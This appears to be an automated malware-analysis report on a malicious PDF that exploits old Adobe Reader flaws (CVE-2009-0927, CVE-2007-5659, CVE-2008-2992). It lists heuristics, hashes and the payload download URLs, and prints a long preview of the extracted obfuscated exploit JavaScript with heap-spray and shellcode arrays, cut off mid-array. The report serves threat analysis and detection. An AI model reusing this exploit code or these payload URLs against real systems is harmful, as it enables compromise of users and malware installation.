PDF malware analysis — malicious · da033d40c4434306

MALICIOUS

PDF

75.7 KB Created: 2009-11-29 19:44:10 Authoring application: PDF Library 1.3.9 (via PDF Library 5.4.7) First seen: 2012-07-12

MD5: a68cc700dddcccf46dd0316293e29240 SHA-1: 69be4f9c5c452742a51e8059c6dc89149cb9c638 SHA-256: da033d40c4434306c3095d370070805c5c6e8ef3af282e905f09cce5ce324907

592 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell T1204.001 Malicious Link T1204.002 Malicious File

This PDF file is identified as malicious by multiple heuristics and a machine learning classifier, with ClamAV detecting it as Pdf.Exploit.Agent-36110. The critical heuristics indicate the exploitation of multiple Adobe Reader vulnerabilities (CVE-2009-0927, CVE-2007-5659, CVE-2008-2992) via embedded JavaScript. An extracted JavaScript artifact, legacy_pdfkit_stage_000.js, was also flagged by ClamAV as Js.Exploit.Shellcode-18, suggesting it's part of the exploit chain. The primary attack pattern involves luring the user to open the PDF, which then triggers the exploit to download and execute a secondary payload.

Machine Learning

Nyx PDF Classifier malicious score 0.9999

Heuristics 14

Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927

PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659

PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992

PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH

A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
ClamAV: Pdf.Exploit.Agent-36110 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Pdf.Exploit.Agent-36110
Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT

One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
JavaScript action low 3 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
PDF JavaScript rebuilds a builtin via replace() to run a char-code array critical PDF_JS_REPLACE_OBFUSCATED_CHARCODE_BUILDER

Decoded PDF JavaScript resolves a String builtin from a junked literal — e.g. String['eQvoaol3'.replace(/[3oQS5]/g,'')] yielding fromCharCode/eval — and feeds a large numeric char-code array through it to rebuild and execute the next stage. Dynamically reconstructing a builtin name by stripping junk characters has no benign purpose; paired with the char-code payload array it is an unambiguous obfuscated-JavaScript exploit dropper.
PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL

Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
ASCIIHexDecode filter (with exploit indicators) medium PDF_FILTER_HEX

Hex-encoding filter present alongside exploit delivery indicators — often used to hide payload or shellcode bytes
PDF differential parser failed info PDF_DIFFERENTIAL_PARSE_FAILED

The cross-check parser (pdfminer.six) failed on this file: PDF differential parser failed: PSSyntaxError. Static heuristics still ran and any of their findings above are valid; only the differential cross-check signal is missing.
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://gkiplamin.ru/gla/ajmoqw2.exe Referenced by PDF JavaScript
- http://gkiplamin.ru/gla/click.php?r=Referenced by PDF JavaScript
- http://gkiplamin.ru/gla/acjopz2.exeReferenced by PDF JavaScript
- http://gkiplamin.ru/gla/inopvy2.exeReferenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`javascript_obj0007_000.js`	pdf-javascript-stream	PDF /JS object 7 at offset 0x1A5	38265 bytes
SHA-256: `c8c4e383cc7c97d6e4b64e81f500e8d941c2bb7ea66232591768f3a971d3190c`
Preview script First 1,000 lines of the extracted script var bdwxyz="bdwxyz";fkoqx="";inwx="";biotw=48364;deotx=39051;dgjoty='';lnuw="lnuw";var ejlnw='',bdtv=17786,gqvwy=0,bglq=String,rsux=bglq['fHrHogmHCQhgaQrgCLoLdgeO'.replace(/[OHgLQ]/g,'')],dgjnxz=String,cehjlr=dgjnxz['ewvUa4lw'.replace(/[w4hUG]/g,'')],chir="48",cdlmot="",hksvw=[65,66,61,158,169,166,151,172,157,167,162,88,154,161,172,151,157,172,92,177,149,170,167,168,96,88,160,157,162,97,175,69,62,65,61,175,156,161,160,157,84,96,173,153,166,171,164,102,160,157,162,159,168,160,84,98,84,106,84,116,84,164,153,166,93,179,65,66,61,65,61,177,149,170,167,168,84,99,113,88,173,153,166,171,164,115,65,66,61,65,177,69,62,65,61,177,149,170,167,168,84,117,84,177,149,170,167,168,98,171,169,154,167,172,166,161,162,159,92,104,96,88,160,157,162,103,102,97,111,69,62,65,61,170,153,172,169,170,162,88,173,153,166,171,164,115,65,66,61,181,65,66,65,66,61,158,169,166,151,172,157,167,162,88,169,172,157,164,147,168,166,161,162,172,154,96,93,179,65,66,61,65,170,153,166,88,164,153,173,164,163,153,152,88,113,88,169,166,153,171,151,153,164,157,92,90,89,173,121,122,121,113,89,173,100,104,100,105,89,173,105,110,100,104,89,173,117,105,106,108,89,173,100,104,103,104,89,173,100,104,100,104,89,173,104,104,108,122,89,173,108,122,100,123,89,173,101,123,107,104,89,173,108,122,117,124,89,173,100,112,104,104,89,173,119,107,105,125,89,173,108,122,105,109,89,173,108,122,121,123,89,173,100,112,104,109,89,173,103,107,105,106,89,173,119,105,120,106,89,173,100,107,119,106,89,173,101,104,103,106,89,173,108,104,104,104,89,173,100,104,103,112,89,173,122,109,107,109,89,173,119,106,108,122,89,173,105,124,105,121,89,173,100,108,119,106,89,173,105,109,100,104,89,173,121,123,108,122,89,173,105,105,105,105,89,173,105,110,105,107,89,173,106,104,105,111,89,173,105,124,108,122,89,173,103,107,100,112,89,173,108,122,119,104,89,173,100,123,107,109,89,173,122,125,108,122,89,173,107,110,100,107,89,173,108,122,103,123,89,173,107,112,104,125,89,173,119,126,100,107,89,173,105,105,108,122,89,173,105,106,101,123,89,173,105,105,108,122,89,173,105,106,102,108,89,173,107,105,108,122,89,173,104,125,101,108,89,173,107,109,108,113,89,173,108,122,122,123,89,173,102,104,107,105,89,173,122,111,100,107,89,173,104,121,109,113,89,173,104,106,117,124,89,173,103,122,106,104,89,173,122,123,105,109,89,173,100,108,107,109,89,173,119,104,103,107,89,173,103,111,121,122,89,173,122,126,103,107,89,173,104,109,100,107,89,173,109,111,100,123,89,173,119,126,108,122,89,173,107,109,117,125,89,173,102,122,122,124,89,173,104,126,122,113,89,173,121,112,105,105,89,173,122,126,109,108,89,173,122,126,122,126,89,173,119,107,103,122,89,173,107,108,106,105,89,173,121,122,100,106,89,173,108,122,120,113,89,173,100,123,104,109,89,173,105,125,109,106,89,173,122,106,100,107,89,173,121,104,120,105,89,173,119,110,100,107,89,173,119,113,103,107,89,173,118,111,100,126,89,173,105,126,100,112,89,173,121,105,119,105,89,173,100,107,100,106,89,173,100,107,119,121,89,173,108,122,119,126,89,173,100,107,100,105,89,173,108,113,119,106,89,173,122,112,104,109,89,173,108,122,106,105,89,173,122,112,104,109,89,173,105,125,105,126,89,173,119,113,105,122,89,173,105,109,119,107,89,173,121,123,108,122,89,173,121,112,105,105,89,173,122,126,104,113,89,173,122,126,122,126,89,173,106,112,105,104,89,173,106,104,121,112,89,173,100,108,118,126,89,173,106,123,121,112,89,173,122,126,122,126,89,173,103,107,122,126,89,173,105,106,120,106,89,173,122,126,105,106,89,173,100,112,107,109,89,173,120,104,122,126,89,173,104,109,108,113,89,173,108,122,122,123,89,173,122,123,104,109,89,173,119,107,119,113,89,173,108,122,105,109,89,173,108,107,121,123,89,173,100,123,121,123,89,173,104,109,108,124,89,173,105,104,122,108,89,173,104,109,119,110,89,173,107,109,122,108,89,173,104,109,119,110,89,173,107,106,122,109,89,173,104,109,119,110,89,173,106,123,122,110,89,173,104,109,119,110,89,173,106,124,122,111,89,173,104,109,119,110,89,173,106,126,122,112,89,173,104,109,119,110,89,173,106,125,122,113,89,173,104,109,119,110,89,173,102,125,122,121,89,173,104,109,119,110,89,173,106,108,122,122,89,173,104,109,119,110,89,173,106,123,122,123,89,173,104,109,119,110,89,173,106,123,122,124,89,173,104,109,119,110,89,173,100,104,122,125,89,173,117,104,121,112,89,173,122,126,122,126,89,173,105,104,122,126,89,173,105,124,106,112,89,173,101,105,108,121,89,173,121,112,101,110,89,173,122,126,101,109,89,173,122,126,122,126,89,173,119,108,108,107,89,173,108,109,100,123,89,173,107,108,119,104,89,173,106,121,101,109,89,173,106,121,100,104,89,173,122,126,100,104,89,173,100,123,107,109,89,173,107,109,122,126,89,173,106,121,100,112,89,173,122,126,100,104,89,173,108,109,120,104,89,173,107,109,119,104,89,173,104,104,100,107,89,173,119,107,119,113,89,173,119,104,103,107,89,173,119,107,119,113,89,173,103,107,105,111,89,173,108,122,119,104,89,173,102,108,104,123,89,173,108,122,100,123,89,173,102,108,107,123,89,173,122,123,100,112,89,173,117,121,122,107,89,173,119,107,105,126,89,173,104,123,108,122,89,173,100,108,102,108,89,173,103,113,108,104,89,173,108,122,100,104,89,173,107,108,119,105,89,173,104,104,100,110,89,173,103,112,108,104,89,173,107,109,100,104,89,173,102,122,122,121,89,173,119,107,119,105,89,173,108,122,105,109,89,173,108,107,121,123,89,173,106,108,121,123,89,173,108,124,105,107,89,173,122,104,104,109,89,173,103,107,105,111,89,173,105,104,120,122,89,173,104,109,119,110,89,173,106,122,122,104,89,173,104,109,119,110,89,173,106,109,122,105,89,173,104,109,119,110,89,173,107,106,122,106,89,173,104,109,119,110,89,173,106,125,122,107,89,173,104,109,119,110,89,173,106,109,122,108,89,173,104,109,119,110,89,173,106,123,122,109,89,173,104,109,119,110,89,173,103,107,122,110,89,173,104,109,119,110,89,173,103,106,122,111,89,173,104,109,119,110,89,173,102,125,122,112,89,173,104,109,119,110,89,173,106,108,122,113,89,173,104,109,119,110,89,173,106,123,122,121,89,173,104,109,119,110,89,173,106,123,122,122,89,173,105,124,108,112,89,173,121,112,122,123,89,173,122,126,100,122,89,173,122,126,122,126,89,173,106,112,105,104,89,173,104,107,106,112,89,173,108,125,122,113,89,173,108,104,121,112,89,173,122,126,122,125,89,173,108,122,122,126,89,173,108,124,122,112,89,173,109,123,104,109,89,173,104,108,106,121,89,173,121,112,105,104,89,173,122,126,107,125,89,173,122,126,122,126,89,173,104,109,108,124,89,173,106,121,121,104,89,173,105,104,101,104,89,173,107,107,121,112,89,173,122,126,122,126,89,173,108,107,122,126,89,173,101,123,119,108,89,173,104,109,108,124,89,173,105,104,121,104,89,173,104,109,108,124,89,173,105,104,109,123,89,173,105,107,105,107,89,173,105,107,105,107,89,173,105,107,105,107,89,173,107,109,122,126,89,173,119,111,100,112,89,173,109,123,104,109,89,173,100,104,104,108,89,173,100,104,100,104,89,173,122,126,105,107,89,173,105,126,120,111,89,173,118,110,100,126,89,173,105,122,119,104,89,173,119,107,119,113,89,173,108,122,105,109,89,173,105,105,121,123,89,173,105,107,105,105,89,173,105,111,105,110,89,173,104,106,106,121,89,173,107,106,121,112,89,173,100,104,100,104,89,173,108,122,100,104,89,173,103,107,120,112,89,173,108,109,122,110,89,173,105,113,120,122,89,173,104,109,119,111,89,173,106,105,122,112,89,173,106,109,102,125,89,173,119,111,107,112,89,173,122,123,104,109,89,173,100,104,106,109,89,173,100,104,100,104,89,173,105,110,107,125,89,173,104,109,108,124,89,173,105,104,122,112,89,173,121,112,105,110,89,173,100,104,105,105,89,173,100,104,100,104,89,173,105,104,105,113,89,173,118,105,121,112,89,173,122,126,122,125,89,173,108,109,122,126,89,173,105,113,119,104,89,173,107,108,105,113,89,173,108,124,103,113,89,173,100,105,104,110,89,173,121,112,105,104,89,173,100,104,103,122,89,173,100,104,100,104,89,173,122,112,108,122,89,173,104,109,108,124,89,173,105,104,122,112,89,173,102,105,121,112,89,173,122,126,122,126,89,173,108,109,122,126,89,173,105,113,119,104,89,173,107,108,105,113,89,173,105,111,100,123,89,173,100,105,121,112,89,173,122,126,122,126,89,173,105,113,122,126,89,173,104,108,119,110,89,173,122,126,103,112,89,173,105,104,107,107,89,173,104,109,108,124,89,173,122,125,122,112,89,173,105,112,100,104,89,173,104,109,108,124,89,173,105,104,122,112,89,173,121,112,105,111,89,173,122,125,107,108,89,173,122,126,122,126,89,173,105,113,105,113,89,173,104,110,104,110,89,173,122,107,103,122,89,173,117,121,107,123,89,173,105,125,105,126,89,173,119,113,105,122,89,173,105,109,119,107,89,173,121,123,108,122,89,173,105,107,105,105,89,173,106,104,106,110,89,173,103,106,118,105,89,173,100,104,121,112,89,173,100,104,100,104,89,173,105,112,100,104,89,173,100,112,103,112,89,173,100,107,107,108,89,173,121,122,104,104,89,173,104,104,122,113,89,173,105,124,108,122,89,173,108,104,100,112,89,173,104,106,122,122,89,173,100,112,107,109,89,173,120,122,103,107,89,173,101,112,108,121,89,173,119,107,108,122,89,173,101,111,121,122,89,173,101,112,103,112,89,173,101,105,107,110,89,173,103,107,104,104,89,173,108,108,119,113,89,173,107,108,120,122,89,173,104,104,100,123,89,173,100,112,103,112,89,173,122,122,107,109,89,173,122,125,104,104,89,173,121,122,119,122,89,173,103,107,122,106,89,173,108,113,119,104,89,173,122,123,104,109,89,173,104,109,108,122,89,173,105,122,122,123,89,173,119,107,119,113,89,173,100,106,103,106,89,173,107,108,106,112,89,173,107,104,107,108,89,173,102,126,103,121,89,173,106,111,102,126,89,173,106,113,106,122,89,173,106,123,107,104,89,173,106,124,106,105,89,173,106,125,106,113,89,173,107,106,102,125,89,173,102,126,107,109,89,173,106,123,106,111,89,173,102,126,106,105,89,173,106,121,106,105,89,173,106,126,106,124,89,173,107,111,107,105,89,173,102,125,103,106,89,173,107,112,106,109,89,173,100,104,106,109,89,173,107,108,106,112,89,173,107,104,107,108,89,173,102,126,103,121,89,173,106,111,102,126,89,173,106,113,106,122,89,173,106,123,107,104,89,173,106,124,106,105,89,173,106,125,106,113,89,173,107,106,102,125,89,173,102,126,107,109,89,173,106,123,106,111,89,173,102,126,106,105,89,173,106,123,106,107,89,173,106,107,106,113,89,173,102,125,106,122,89,173,106,112,107,104,89,173,103,126,107,104,89,173,103,124,107,106,89,173,100,104,100,104,86,97,111,69,62,65,61,174,149,170,84,166,163,168,84,117,84,173,162,157,167,155,149,168,153,96,86,93,169,104,117,104,117,93,169,104,117,104,117,93,169,104,117,104,117,93,169,104,117,104,117,90,93,69,62,65,61,174,149,170,84,160,153,153,164,154,160,167,151,163,84,117,84,166,163,168,84,99,84,168,149,177,160,167,149,156,111,69,62,65,61,174,149,170,84,154,157,159,150,164,163,155,159,88,113,88,169,166,153,171,151,153,164,157,92,90,89,173,100,121,100,121,89,173,100,121,100,121,86,97,111,69,62,65,61,174,149,170,84,160,153,153,152,157,166,171,157,178,153,88,113,88,102,104,111,69,62,65,61,174,149,170,84,171,164,170,149,177,84,117,84,160,153,153,152,157,166,171,157,178,153,88,95,88,156,157,149,168,150,164,163,155,159,102,160,157,162,159,168,160,111,69,62,65,61,175,156,161,160,157,84,96,150,161,155,154,160,167,151,163,98,164,153,166,155,172,156,88,112,88,167,168,166,153,173,97,175,69,62,65,61,65,150,161,155,154,160,167,151,163,84,99,113,88,150,161,155,154,160,167,151,163,111,69,62,65,61,181,65,66,61,65,170,153,166,88,154,161,160,164,150,164,163,155,159,88,113,88,150,161,155,154,160,167,151,163,98,171,169,154,167,172,166,161,162,159,92,104,96,88,167,168,166,153,173,97,111,69,62,65,61,174,149,170,84,154,160,167,151,163,84,117,84,154,157,159,150,164,163,155,159,102,167,173,150,171,168,170,157,166,155,96,100,100,84,154,157,159,150,164,163,155,159,102,160,157,162,159,168,160,97,171,164,170,149,177,93,115,65,66,61,65,171,160,157,164,153,88,92,154,160,167,151,163,98,164,153,166,155,172,156,99,167,168,166,153,173,88,112,88,100,176,104,104,100,104,100,97,175,69,62,65,61,65,150,164,163,155,159,88,113,88,150,164,163,155,159,88,95,88,150,164,163,155,159,88,95,88,154,161,160,164,150,164,163,155,159,115,65,66,61,65,177,69,62,65,61,174,149,170,84,165,153,165,147,153,166,170,149,177,84,117,84,166,153,175,84,121,166,170,149,177,92,97,111,69,62,65,61,158,163,170,84,96,170,153,166,88,157,88,113,88,100,115,84,161,84,116,84,105,104,104,100,115,84,161,95,99,93,179,65,66,61,65,61,165,153,165,147,153,166,170,149,177,143,161,145,88,113,88,150,164,163,155,159,88,95,88,156,157,149,168,150,164,163,155,159,115,65,66,61,65,177,69,62,65,61,174,149,170,84,166,169,165,84,117,84,105,102,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,113,109,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,115,65,66,61,65,169,172,157,164,98,168,166,161,162,172,154,96,86,93,104,109,100,104,100,158,86,100,84,166,169,165,93,115,65,66,61,181,65,66,65,66,61,158,169,166,151,172,157,167,162,88,151,167,160,164,149,154,147,157,161,153,157,164,92,97,175,69,62,65,61,174,149,170,84,171,156,157,160,164,151,167,152,157,84,117,84,173,162,157,167,155,149,168,153,96,86,93,169,125,118,125,109,93,169,104,100,104,101,93,169,109,106,104,100,93,169,121,101,110,104,93,169,104,100,107,100,93,169,104,100,104,100,93,169,108,100,112,118,93,169,112,118,104,119,93,169,105,119,111,100,93,169,112,118,121,120,93,169,104,108,108,100,93,169,123,103,109,121,93,169,112,118,109,105,93,169,112,118,125,119,93,169,104,108,108,105,93,169,107,103,109,102,93,169,123,101,124,102,93,169,104,103,123,102,93,169,105,100,107,102,93,169,112,100,108,100,93,169,104,100,107,108,93,169,126,105,111,105,93,169,123,102,112,118,93,169,109,120,109,117,93,169,104,104,123,102,93,169,109,105,104,100,93,169,125,119,112,118,93,169,109,101,109,101,93,169,109,106,109,103,93,169,110,100,109,107,93,169,109,120,112,118,93,169,107,103,104,108,93,169,112,118,123,100,93,169,104,119,111,105,93,169,126,121,112,118,93,169,111,106,104,103,93,169,112,118,107,119,93,169,111,108,108,121,93,169,123,122,104,103,93,169,109,101,112,118,93,169,109,102,105,119,93,169,109,101,112,118,93,169,109,102,106,104,93,169,111,101,112,118,93,169,108,121,105,104,93,169,111,105,112,109,93,169,112,118,126,119,93,169,106,100,111,101,93,169,126,107,104,103,93,169,108,117,113,109,93,169,108,102,121,120,93,169,107,118,110,100,93,169,126,119,109,105,93,169,104,104,111,105,93,169,123,100,107,103,93,169,107,107,125,118,93,169,126,122,107,103,93,169,108,105,104,103,93,169,113,107,104,119,93,169,123,122,112,118,93,169,111,105,121,121,93,169,106,118,126,120,93,169,108,122,126,109,93,169,125,108,109,101,93,169,126,122,113,104,93,169,126,122,126,122,93,169,123,103,107,118,93,169,111,104,110,101,93,169,125,118,104,102,93,169,112,118,124,109,93,169,104,119,108,105,93,169,109,121,113,102,93,169,126,102,104,103,93,169,125,100,124,101,93,169,123,106,104,103,93,169,123,109,107,103,93,169,122,107,104,122,93,169,109,122,104,108,93,169,125,101,123,101,93,169,104,103,104,102,93,169,104,103,123,117,93,169,112,118,123,122,93,169,104,103,104,101,93,169,112,109,123,102,93,169,126,108,108,105,93,169,112,118,110,101,93,169,126,108,108,105,93,169,109,121,109,122,93,169,123,109,109,118,93,169,109,105,123,103,93,169,125,119,112,118,93,169,125,108,109,101,93,169,126,122,108,109,93,169,126,122,126,122,93,169,110,108,109,100,93,169,110,100,125,108,93,169,104,104,122,122,93,169,110,119,125,108,93,169,126,122,126,122,93,169,107,103,126,122,93,169,109,102,124,102,93,169,126,122,109,102,93,169,104,108,111,105,93,169,124,100,126,122,93,169,108,105,112,109,93,169,112,118,126,119,93,169,126,119,108,105,93,169,123,103,123,109,93,169,112,118,109,105,93,169,112,103,125,119,93,169,104,119,125,119,93,169,108,105,112,120,93,169,109,100,126,104,93,169,108,105,123,106,93,169,111,105,126,104,93,169,108,105,123,106,93,169,111,102,126,105,93,169,108,105,123,106,93,169,110,119,126,106,93,169,108,105,123,106,93,169,110,120,126,107,93,169,108,105,123,106,93,169,110,122,126,108,93,169,108,105,123,106,93,169,110,121,126,109,93,169,108,105,123,106,93,169,106,121,126,117,93,169,108,105,123,106,93,169,110,104,126,118,93,169,108,105,123,106,93,169,110,119,126,119,93,169,108,105,123,106,93,169,110,119,126,120,93,169,108,105,123,106,93,169,104,100,126,121,93,169,121,100,125,108,93,169,126,122,126,122,93,169,109,100,126,122,93,169,109,120,110,108,93,169,105,101,112,117,93,169,125,108,105,106,93,169,126,122,105,105,93,169,126,122,126,122,93,169,123,104,112,103,93,169,112,105,104,119,93,169,111,104,123,100,93,169,110,117,105,105,93,169,110,117,104,100,93,169,126,122,104,100,93,169,104,119,111,105,93,169,111,105,126,122,93,169,110,117,104,108,93,169,126,122,104,100,93,169,112,105,124,100,93,169,111,105,123,100,93,169,108,100,104,103,93,169,123,103,123,109,93,169,123,100,107,103,93,169,123,103,123,109,93,169,107,103,109,107,93,169,112,118,123,100,93,169,106,104,108,119,93,169,112,118,104,119,93,169,106,104,111,119,93,169,126,119,104,108,93,169,121,117,126,103,93,169,123,103,109,122,93,169,108,119,112,118,93,169,104,104,106,104,93,169,107,109,112,100,93,169,112,118,104,100,93,169,111,104,123,101,93,169,108,100,104,106,93,169,107,108,112,100,93,169,111,105,104,100,93,169,106,118,126,117,93,169,123,103,123,101,93,169,112,118,109,105,93,169,112,103,125,119,93,169,110,104,125,119,93,169,112,120,109,103,93,169,126,100,108,105,93,169,107,103,109,107,93,169,109,100,124,118,93,169,108,105,123,106,93,169,110,118,126,100,93,169,108,105,123,106,93,169,110,105,126,101,93,169,108,105,123,106,93,169,111,102,126,102,93,169,108,105,123,106,93,169,110,121,126,103,93,169,108,105,123,106,93,169,110,105,126,104,93,169,108,105,123,106,93,169,110,119,126,105,93,169,108,105,123,106,93,169,107,103,126,106,93,169,108,105,123,106,93,169,107,102,126,107,93,169,108,105,123,106,93,169,106,121,126,108,93,169,108,105,123,106,93,169,110,104,126,109,93,169,108,105,123,106,93,169,110,119,126,117,93,169,108,105,123,106,93,169,110,119,126,118,93,169,109,120,112,108,93,169,125,108,126,119,93,169,126,122,104,118,93,169,126,122,126,122,93,169,110,108,109,100,93,169,108,103,110,108,93,169,112,121,126,109,93,169,112,100,125,108,93,169,126,122,126,121,93,169,112,118,126,122,93,169,112,120,126,108,93,169,113,119,108,105,93,169,108,104,110,117,93,169,125,108,109,100,93,169,126,122,111,121,93,169,126,122,126,122,93,169,108,105,112,120,93,169,110,117,125,100,93,169,109,100,105,100,93,169,111,103,125,108,93,169,126,122,126,122,93,169,112,103,126,122,93,169,105,119,123,104,93,169,108,105,112,120,93,169,109,100,125,100,93,169,108,105,112,120,93,169,109,100,113,119,93,169,109,103,109,103,93,169,109,103,109,103,93,169,109,103,109,103,93,169,111,105,126,122,93,169,123,107,104,108,93,169,113,119,108,105,93,169,104,100,108,104,93,169,104,100,104,100,93,169,126,122,109,103,93,169,109,122,124,107,93,169,122,106,104,122,93,169,109,118,123,100,93,169,123,103,123,109,93,169,112,118,109,105,93,169,109,101,125,119,93,169,109,103,109,101,93,169,109,107,109,106,93,169,108,102,110,117,93,169,111,102,125,108,93,169,104,100,104,100,93,169,112,118,104,100,93,169,107,103,124,108,93,169,112,105,126,106,93,169,109,109,124,118,93,169,108,105,123,107,93,169,110,101,126,108,93,169,110,105,106,121,93,169,123,107,111,108,93,169,126,119,108,105,93,169,104,100,110,105,93,169,104,100,104,100,93,169,109,106,111,121,93,169,108,105,112,120,93,169,109,100,126,108,93,169,125,108,109,106,93,169,104,100,109,101,93,169,104,100,104,100,93,169,109,100,109,109,93,169,122,101,125,108,93,169,126,122,126,121,93,169,112,105,126,122,93,169,109,109,123,100,93,169,111,104,109,109,93,169,112,120,107,109,93,169,104,101,108,106,93,169,125,108,109,100,93,169,104,100,107,118,93,169,104,100,104,100,93,169,126,108,112,118,93,169,108,105,112,120,93,169,109,100,126,108,93,169,106,101,125,108,93,169,126,122,126,122,93,169,112,105,126,122,93,169,109,109,123,100,93,169,111,104,109,109,93,169,109,107,104,119,93,169,104,101,125,108,93,169,126,122,126,122,93,169,109,109,126,122,93,169,108,104,123,106,93,169,126,122,107,108,93,169,109,100,111,103,93,169,108,105,112,120,93,169,126,121,126,108,93,169,109,108,104,100,93,169,108,105,112,120,93,169,109,100,126,108,93,169,125,108,109,107,93,169,126,121,111,104,93,169,126,122,126,122,93,169,109,109,109,109,93,169,108,106,108,106,93,169,126,103,107,118,93,169,121,117,111,119,93,169,109,121,109,122,93,169,123,109,109,118,93,169,109,105,123,103,93,169,125,119,112,118,93,169,109,103,109,101,93,169,110,100,110,106,93,169,107,102,122,101,93,169,104,100,125,108,93,169,104,100,104,100,93,169,109,108,104,100,93,169,104,108,107,108,93,169,104,103,111,104,93,169,125,118,108,100,93,169,108,100,126,109,93,169,109,120,112,118,93,169,112,100,104,108,93,169,108,102,126,118,93,169,104,108,111,105,93,169,124,118,107,103,93,169,105,108,112,117,93,169,123,103,112,118,93,169,105,107,125,118,93,169,105,108,107,108,93,169,105,101,111,106,93,169,107,103,108,100,93,169,112,104,123,109,93,169,111,104,124,118,93,169,108,100,104,119,93,169,104,108,107,108,93,169,126,118,111,105,93,169,126,121,108,100,93,169,125,118,123,118,93,169,107,103,126,102,93,169,112,109,123,100,93,169,126,119,108,105,93,169,108,105,112,118,93,169,109,118,126,119,93,169,123,103,123,109,93,169,104,102,107,102,93,169,111,104,110,108,93,169,111,100,111,104,93,169,106,122,107,117,93,169,110,107,106,122,93,169,110,109,110,118,93,169,110,119,111,100,93,169,110,120,110,101,93,169,110,121,110,109,93,169,111,102,106,121,93,169,106,122,111,105,93,169,110,119,110,107,93,169,106,122,110,101,93,169,110,103,110,101,93,169,110,122,110,117,93,169,111,117,111,100,93,169,106,121,107,102,93,169,111,108,110,105,93,169,104,100,110,105,93,169,111,104,110,108,93,169,111,100,111,104,93,169,106,122,107,117,93,169,110,107,106,122,93,169,110,109,110,118,93,169,110,119,111,100,93,169,110,120,110,101,93,169,110,121,110,109,93,169,111,102,106,121,93,169,106,122,111,105,93,169,110,119,110,107,93,169,106,122,110,101,93,169,110,119,110,103,93,169,110,103,110,109,93,169,106,121,110,118,93,169,110,108,111,100,93,169,107,122,111,100,93,169,107,120,111,102,93,169,104,100,104,100,90,93,115,65,66,61,65,170,153,166,88,161,157,161,151,149,170,166,153,173,88,113,88,162,157,171,88,117,170,166,153,173,96,93,115,65,66,61,65,170,153,166,88,151,155,84,117,84,104,172,104,151,104,151,104,151,104,151,115,65,66,61,65,170,153,166,88,149,156,152,170,84,117,84,104,172,108,100,104,100,104,100,115,65,66,61,65,170,153,166,88,167,155,147,164,153,166,84,117,84,171,156,157,160,164,151,167,152,157,98,164,153,166,155,172,156,88,94,88,102,115,65,66,61,65,170,153,166,88,160,157,162,88,113,88,149,156,152,170,84,101,84,96,167,155,147,164,153,166,95,104,172,107,108,97,111,69,62,65,61,174,149,170,84,177,149,170,167,168,84,117,84,173,162,157,167,155,149,168,153,96,86,93,169,113,100,113,100,93,169,113,100,113,100,90,93,115,65,66,61,65,173,153,166,171,164,88,113,88,154,161,172,151,157,172,92,177,149,170,167,168,96,88,160,157,162,97,111,69,62,65,61,174,149,170,84,155,163,173,162,172,102,88,113,88,92,155,151,88,97,88,100,176,104,104,100,104,100,104,93,103,149,15